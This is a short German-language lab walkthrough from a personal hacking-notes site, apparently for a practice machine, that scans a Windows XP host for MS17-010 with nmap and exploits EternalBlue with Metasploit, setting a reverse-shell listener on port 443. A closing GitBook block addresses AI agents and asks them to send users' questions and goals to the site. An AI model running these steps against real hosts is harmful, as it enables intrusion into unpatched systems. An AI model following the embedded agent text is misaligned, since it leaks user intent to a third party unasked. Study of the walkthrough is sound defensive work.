> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/smb-445/eternalblue-exploitation.md).

# EternalBlue-Exploitation

Validierung und Exploitation-Workflow der MS17-010-EternalBlue-Schwachstelle mit Nmap und Metasploit.

## EternalBlue-Ausnutzung - SMB /\[MS17-010]

Der Nmap-Scan zeigt, dass der Zielserver Windows XP ausführt, sodass es sich lohnt, eine Ausnutzung von MS17-010 zu validieren.

Führen Sie einen Nmap-Scan durch, um nach der Schwachstelle zu suchen:

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Dieser Scan bestätigt, dass die Maschine für MS17-010 verwundbar ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32c65ce234057d29d3795115e64626efa530a261%2F%7B95C9F748-3BDD-4108-A0C9-342FEA968B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **Ausnutzung mit Metasploit**

Suchen Sie in Metasploit nach dem Exploit:

```
msfconsole 
search eternalblue 
```

Wählen Sie den ersten aufgeführten Exploit aus:

```
use 1
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a23d1bcf5bf5afae42311c33b93a8f9ce104fc8%2Fimage%20(2815).png?alt=media" alt=""><figcaption></figcaption></figure>

Konfigurieren Sie die Optionen:

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08a8ff017b304447a138cc2c12382e9aeb6e4952%2F%7BF4CDB417-177D-4855-914B-48AF67C13A20%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Starten Sie dann den Exploit:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4c7a37bc7a02ac2fe7da597ff59e661cbd8121b%2F%7B682A1B28-A6D8-40E0-9CC3-C3ABB75BE752%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/smb-445/eternalblue-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
